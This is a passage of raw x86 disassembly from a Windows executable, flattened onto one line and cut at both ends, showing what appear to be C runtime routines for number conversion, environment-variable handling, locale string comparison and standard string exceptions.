[ebp+var_24] push eax call sub_424FD9 dec ebx pop ecx jnz short loc_425C06 cmp [ebp+var_14], 0 jz short loc_425C26 or byte ptr [ebp+var_24], 1 loc_425C26: ; CODE XREF: sub_425A96+155j ; sub_425A96+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425C3D mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425C72 loc_425C3D: ; CODE XREF: sub_425A96+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425C6F and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425C6A and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425C64 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C64: ; CODE XREF: sub_425A96+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425A96+1B5j inc [ebp+var_20+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6F: ; CODE XREF: sub_425A96+1ABj inc [ebp+var_24+2] loc_425C72: ; CODE XREF: sub_425A96+1A5j ; sub_425A96+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425C96 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425C90: ; CODE XREF: sub_425A96+86j mov [esi+0Ah], ax jmp short loc_425CB1 ; --------------------------------------------------------------------------- loc_425C96: ; CODE XREF: sub_425A96+42j ; sub_425A96+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425CB1: ; CODE XREF: sub_425A96+ABj ; sub_425A96+1FEj pop edi pop esi pop ebx leave retn sub_425A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425CB6 proc near ; CODE XREF: sub_4250CD+440p ; sub_42559E+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43B158 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425D2F jge short loc_425CDE mov eax, [ebp+arg_4] mov ebx, offset dword_43B2B8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425CDE: ; CODE XREF: sub_425CB6+16j cmp [ebp+arg_8], ecx jnz short loc_425CE9 mov eax, [ebp+arg_0] mov [eax], cx loc_425CE9: ; CODE XREF: sub_425CB6+2Bj cmp [ebp+arg_4], ecx jz short loc_425D2F push esi push edi loc_425CF0: ; CODE XREF: sub_425CB6+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425D28 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425D1B lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425D1B: ; CODE XREF: sub_425CB6+57j push esi push [ebp+arg_0] call sub_425A96 pop ecx pop ecx xor ecx, ecx loc_425D28: ; CODE XREF: sub_425CB6+49j cmp [ebp+arg_4], ecx jnz short loc_425CF0 pop edi pop esi loc_425D2F: ; CODE XREF: sub_425CB6+14j ; sub_425CB6+36j pop ebx leave retn sub_425CB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D32 proc near ; CODE XREF: sub_4259A3+5Ep ; sub_42620E+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425D3F xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425D3F: ; CODE XREF: sub_425D32+7j push dword_4DAB64 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DAD84 call sub_425DDF add esp, 1Ch test eax, eax jnz short loc_425D6C mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425D6C: ; CODE XREF: sub_425D32+31j add eax, 0FFFFFFFEh pop ebp retn sub_425D32 endp ; =============== S U B R O U T I N E ======================================= sub_425D71 proc near ; CODE XREF: sub_4259A3+1Ep ; sub_426087+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4D9744 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425DD2 mov ebx, dword_427194 loc_425D8A: ; CODE XREF: sub_425D71+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425DDA push ebp call sub_41BC9B cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425DDA push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425DDA push edi push [esp+18h+var_4] call sub_426087 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425D8A loc_425DD2: ; CODE XREF: sub_425D71+11j xor eax, eax loc_425DD4: ; CODE XREF: sub_425D71+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425DDA: ; CODE XREF: sub_425D71+29j ; sub_425D71+38j ... or eax, 0FFFFFFFFh jmp short loc_425DD4 sub_425D71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDF proc near ; CODE XREF: sub_425D32+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CB8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4D9A20, ebx push 1 pop edi jnz short loc_425E52 push edi mov eax, offset dword_427908 push eax push edi push eax push ebx push ebx call near ptr 25E0000h nop test eax, eax jz short loc_425E2F mov dword_4D9A20, edi jmp short loc_425E52 ; --------------------------------------------------------------------------- loc_425E2F: ; CODE XREF: sub_425DDF+46j push edi mov eax, offset word_4C91BC push eax push edi push eax push ebx push ebx call near ptr 25E05FEh nop test eax, eax jz loc_426048 mov dword_4D9A20, 2 loc_425E52: ; CODE XREF: sub_425DDF+31j ; sub_425DDF+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425E69 push esi push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425E69: ; CODE XREF: sub_425DDF+78j cmp [ebp+arg_14], ebx jle short loc_425E7E push [ebp+arg_14] push [ebp+arg_10] call sub_42605C pop ecx pop ecx mov [ebp+arg_14], eax loc_425E7E: ; CODE XREF: sub_425DDF+8Dj mov eax, dword_4D9A20 cmp eax, 2 jnz short loc_425EA3 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E05FEh jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EA3: ; CODE XREF: sub_425DDF+A7j cmp eax, edi jnz loc_426048 cmp [ebp+arg_18], ebx jnz short loc_425EB8 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_425EB8: ; CODE XREF: sub_425DDF+CFj cmp esi, ebx jz short loc_425EC5 cmp [ebp+arg_14], ebx jnz loc_425F5D loc_425EC5: ; CODE XREF: sub_425DDF+DBj cmp esi, [ebp+arg_14] jnz short loc_425ED2 loc_425ECA: ; CODE XREF: sub_425DDF+13Cj ; sub_425DDF+16Dj push 2 loc_425ECC: ; CODE XREF: sub_425DDF+146j pop eax jmp loc_42604A ; --------------------------------------------------------------------------- loc_425ED2: ; CODE XREF: sub_425DDF+E9j cmp [ebp+arg_14], edi jle short loc_425EDE loc_425ED7: ; CODE XREF: sub_425DDF+151j ; sub_425DDF+159j ... mov eax, edi jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EDE: ; CODE XREF: sub_425DDF+F6j cmp esi, edi jg short loc_425F23 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 2650000h nop test eax, eax jz loc_426048 cmp esi, ebx jle short loc_425F27 cmp [ebp+var_3C], 2 jb short loc_425F23 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425F23 loc_425F09: ; CODE XREF: sub_425DDF+142j mov dl, [eax+1] cmp dl, bl jz short loc_425F23 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_425F1D cmp cl, dl jbe short loc_425ECA loc_425F1D: ; CODE XREF: sub_425DDF+138j inc eax inc eax cmp [eax], bl jnz short loc_425F09 loc_425F23: ; CODE XREF: sub_425DDF+101j ; sub_425DDF+120j ... push 3 jmp short loc_425ECC ; --------------------------------------------------------------------------- loc_425F27: ; CODE XREF: sub_425DDF+11Aj cmp [ebp+arg_14], ebx jle short loc_425F5D cmp [ebp+var_3C], 2 jb short loc_425ED7 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425ED7 loc_425F3A: ; CODE XREF: sub_425DDF+177j mov dl, [eax+1] cmp dl, bl jz short loc_425ED7 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_425F52 cmp cl, dl jbe loc_425ECA loc_425F52: ; CODE XREF: sub_425DDF+169j inc eax inc eax cmp [eax], bl jnz short loc_425F3A jmp loc_425ED7 ; --------------------------------------------------------------------------- loc_425F5D: ; CODE XREF: sub_425DDF+E0j ; sub_425DDF+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2700000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_426048 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_425FAC ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_425FAC: ; CODE XREF: sub_425DDF+1B5j cmp [ebp+var_24], ebx jz loc_426048 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4270F0 call esi test eax, eax jz short loc_426048 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_426048 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_426017 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_426017: ; CODE XREF: sub_425DDF+224j cmp edi, ebx jz short loc_426048 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2700000h nop test eax, eax jz short loc_426048 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25E0000h nop jmp short loc_42604A ; --------------------------------------------------------------------------- loc_426048: ; CODE XREF: sub_425DDF+63j ; sub_425DDF+C6j ... xor eax, eax loc_42604A: ; CODE XREF: sub_425DDF+BFj ; sub_425DDF+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425DDF endp ; =============== S U B R O U T I N E ======================================= sub_42605C proc near ; CODE XREF: sub_4229D2+81p ; sub_425DDF+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426079 loc_42606C: ; CODE XREF: sub_42605C+1Bj cmp byte ptr [eax], 0 jz short loc_426079 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_42606C loc_426079: ; CODE XREF: sub_42605C+Ej ; sub_42605C+13j cmp byte ptr [eax], 0 pop esi jnz short loc_426084 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_426084: ; CODE XREF: sub_42605C+21j mov eax, edx retn sub_42605C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426087 proc near ; CODE XREF: sub_425D71+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4260EB push 3Dh push [ebp+arg_0] call sub_4262CD mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4260EB cmp [ebp+arg_0], esi jz short loc_4260EB mov eax, dword_4D973C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4D9740 jnz short loc_4260D1 push eax call sub_426266 pop ecx mov dword_4D973C, eax loc_4260D1: ; CODE XREF: sub_426087+3Cj cmp eax, edi jnz short loc_426129 cmp [ebp+arg_4], edi jz short loc_4260F3 cmp dword_4D9744, edi jz short loc_4260F3 call sub_425D71 test eax, eax jz short loc_426129 loc_4260EB: ; CODE XREF: sub_426087+Dj ; sub_426087+22j ... or eax, 0FFFFFFFFh loc_4260EE: ; CODE XREF: sub_426087+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4260F3: ; CODE XREF: sub_426087+51j ; sub_426087+59j cmp ebx, edi jnz loc_426207 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D973C, eax jz short loc_4260EB mov [eax], edi cmp dword_4D9744, edi jnz short loc_426129 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D9744, eax jz short loc_4260EB mov [eax], edi loc_426129: ; CODE XREF: sub_426087+4Cj ; sub_426087+62j ... sub esi, [ebp+arg_0] mov edi, dword_4D973C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_42620E mov esi, eax pop ecx test esi, esi pop ecx jl short loc_426189 cmp dword ptr [edi], 0 jz short loc_426189 test ebx, ebx jz short loc_426181 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41BA31 pop ecx loc_42615B: ; CODE XREF: sub_426087+E2j cmp dword ptr [edi], 0 jz short loc_42616B mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42615B ; --------------------------------------------------------------------------- loc_42616B: ; CODE XREF: sub_426087+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41BB48 pop ecx test eax, eax pop ecx jz short loc_4261BB jmp short loc_4261B6 ; --------------------------------------------------------------------------- loc_426181: ; CODE XREF: sub_426087+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4261BB ; --------------------------------------------------------------------------- loc_426189: ; CODE XREF: sub_426087+BDj ; sub_426087+C2j test ebx, ebx jnz short loc_426207 test esi, esi jge short loc_426193 neg esi loc_426193: ; CODE XREF: sub_426087+108j lea eax, ds:8[esi*4] push eax push edi call sub_41BB48 pop ecx test eax, eax pop ecx jz loc_4260EB mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4261B6: ; CODE XREF: sub_426087+F8j mov dword_4D973C, eax loc_4261BB: ; CODE XREF: sub_426087+F6j ; sub_426087+100j cmp [ebp+arg_4], 0 jz short loc_426207 push [ebp+arg_0] call sub_41B960 inc eax inc eax push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi pop ecx jz short loc_426207 push [ebp+arg_0] push esi call sub_41C620 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0000h push esi call sub_41BA31 pop ecx loc_426207: ; CODE XREF: sub_426087+6Ej ; sub_426087+104j ... xor eax, eax jmp loc_4260EE sub_426087 endp ; =============== S U B R O U T I N E ======================================= sub_42620E proc near ; CODE XREF: sub_426087+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4D973C push edi mov eax, [esi] test eax, eax jz short loc_426249 mov edi, [esp+8+arg_4] loc_426220: ; CODE XREF: sub_42620E+39j push edi push eax push [esp+10h+arg_0] call sub_425D32 add esp, 0Ch test eax, eax jnz short loc_42623F mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_426259 test al, al jz short loc_426259 loc_42623F: ; CODE XREF: sub_42620E+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426220 loc_426249: ; CODE XREF: sub_42620E+Cj mov eax, esi sub eax, dword_4D973C sar eax, 2 neg eax loc_426256: ; CODE XREF: sub_42620E+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426259: ; CODE XREF: sub_42620E+2Bj ; sub_42620E+2Fj mov eax, esi sub eax, dword_4D973C sar eax, 2 jmp short loc_426256 sub_42620E endp ; =============== S U B R O U T I N E ======================================= sub_426266 proc near ; CODE XREF: sub_426087+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426275 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426275: ; CODE XREF: sub_426266+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_426287 loc_42627D: ; CODE XREF: sub_426266+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_42627D loc_426287: ; CODE XREF: sub_426266+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4262A8 push 9 call sub_41E1C9 pop ecx loc_4262A8: ; CODE XREF: sub_426266+38j mov eax, [edi] mov ebx, edi loc_4262AC: ; CODE XREF: sub_426266+5Bj test eax, eax jz short loc_4262C3 push eax add ebx, 4 call sub_426340 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4262AC ; --------------------------------------------------------------------------- loc_4262C3: ; CODE XREF: sub_426266+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_426266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262CD proc near ; CODE XREF: sub_426087+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DAB7C, 0 jnz short loc_4262E8 push [ebp+arg_4] push [ebp+arg_0] call sub_41C720 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4262E8: ; CODE XREF: sub_4262CD+Aj mov ecx, [ebp+arg_0] loc_4262EB: ; CODE XREF: sub_4262CD+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_42632E movzx edx, al test byte_4DAC81[edx], 4 jz short loc_42631A mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426325 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426329 jmp short loc_426322 ; --------------------------------------------------------------------------- loc_42631A: ; CODE XREF: sub_4262CD+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_42632E loc_426322: ; CODE XREF: sub_4262CD+4Bj inc ecx jmp short loc_4262EB ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262CD+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426329: ; CODE XREF: sub_4262CD+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_42632E: ; CODE XREF: sub_4262CD+25j ; sub_4262CD+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4262CD endp ; =============== S U B R O U T I N E ======================================= sub_426340 proc near ; CODE XREF: sub_4183EC+21p ; sub_426266+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_426367 push esi call sub_41B960 inc eax push eax call sub_41BC9B pop ecx test eax, eax pop ecx jz short loc_426367 push esi push eax call sub_41C620 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_426367: ; CODE XREF: sub_426340+7j ; sub_426340+1Aj xor eax, eax pop esi retn sub_426340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426370 proc near ; CODE XREF: sub_426453+19p ; sub_42657A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B960 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9A4 mov eax, esi pop esi retn 8 sub_426370 endp ; =============== S U B R O U T I N E ======================================= sub_42639A proc near ; CODE XREF: ___:004263C5p ; sub_426448+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_40D968 mov ecx, esi pop esi jmp sub_42681F sub_42639A endp ; =============== S U B R O U T I N E ======================================= sub_4263B5 proc near ; DATA XREF: ___:00427CD8o ; ___:00427CE8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4263C1 mov eax, offset dword_4276A0 locret_4263C1: ; CODE XREF: sub_4263B5+5j retn sub_4263B5 endp ; --------------------------------------------------------------------------- push esi mov esi, ecx call sub_42639A test byte ptr [esp+8], 1 jz short loc_4263D8 push esi call sub_41D3EF pop ecx loc_4263D8: ; CODE XREF: ___:004263CFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4263DE proc near ; CODE XREF: sub_426453+29p mov eax, offset loc_426D9E call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4263DE endp ; =============== S U B R O U T I N E ======================================= sub_42642C proc near ; DATA XREF: ___:off_427CE4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426448 test [esp+4+arg_0], 1 jz short loc_426442 push esi call sub_41D3EF pop ecx loc_426442: ; CODE XREF: sub_42642C+Dj mov eax, esi pop esi retn 4 sub_42642C endp ; =============== S U B R O U T I N E ======================================= sub_426448 proc near ; CODE XREF: sub_42642C+3p ; DATA XREF: ___:0042805Co mov dword ptr [ecx], offset off_427CE4 jmp sub_42639A sub_426448 endp ; =============== S U B R O U T I N E ======================================= sub_426453 proc near ; CODE XREF: sub_40D815+13p ; sub_40D9D9+Ep mov eax, offset loc_426DB0 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4263DE push offset dword_428058 lea eax, [ebp-3Ch] push eax call sub_426842 int 3 ; Trap to Debugger sub_426453 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_4263DE+32p ; sub_4264B0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D815 mov eax, esi pop esi retn 4 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264B0 proc near ; CODE XREF: sub_42657A+29p mov eax, offset loc_426DC2 call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264B0 endp ; =============== S U B R O U T I N E ======================================= sub_4264F8 proc near ; CODE XREF: sub_426562+7p ; sub_4265BE+7p ... mov eax, offset loc_426DD4 call sub_41D3D0 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_4267D5 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264F8 endp ; =============== S U B R O U T I N E ======================================= sub_42653B proc near ; DATA XREF: ___:off_427D10o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426557 test [esp+4+arg_0], 1 jz short loc_426551 push esi call sub_41D3EF pop ecx loc_426551: ; CODE XREF: sub_42653B+Dj mov eax, esi pop esi retn 4 sub_42653B endp ; =============== S U B R O U T I N E ======================================= sub_426557 proc near ; CODE XREF: sub_42653B+3p ; DATA XREF: ___:00428104o mov dword ptr [ecx], offset off_427D10 jmp sub_42639A sub_426557 endp ; =============== S U B R O U T I N E ======================================= sub_426562 proc near ; CODE XREF: sub_4265D6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi retn 4 sub_426562 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; CODE XREF: sub_40D765+15p ; sub_40D7BE+15p ... mov eax, offset loc_426DE6 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264B0 push offset dword_428100 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D10 call sub_426842 int 3 ; Trap to Debugger sub_42657A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265BE proc near ; CODE XREF: sub_4265D6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427D10 mov eax, esi pop esi retn 4 sub_4265BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4265D6 proc near ; DATA XREF: ___:00427CDCo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4264F8 push offset dword_428140 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_4265F4: ; DATA XREF: ___:00427D18o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4265BE push offset dword_428100 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_426612: ; DATA XREF: ___:00427CECo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426562 push offset dword_428058 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger sub_4265D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426630 proc near jmp near ptr 71B2ACCBh sub_426630 endp ; --------------------------------------------------------------------------- pushf ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426636 proc near ; CODE XREF: sub_40D0EB+5Ep ; ___:00415727p ... nop jmp near ptr 71AB1B7Bh sub_426636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_42663C proc near ; CODE XREF: sub_41D03C+23p ; sub_41D2E0+13p jmp near ptr 28721CCh sub_42663C endp ; --------------------------------------------------------------------------- db 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426642 proc near ; CODE XREF: ___:0040B084p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426657 cmp [ebp+arg_0], 0 jge short loc_426657 push 1 push 0Ah jmp short loc_42665C ; --------------------------------------------------------------------------- loc_426657: ; CODE XREF: sub_426642+7j ; sub_426642+Dj push 0 push [ebp+arg_8] loc_42665C: ; CODE XREF: sub_426642+13j push [ebp+arg_4] push [ebp+arg_0] call sub_42666F mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_426642 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42666F proc near ; CODE XREF: sub_426642+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_426689 mov esi, [ebp+arg_0] mov byte 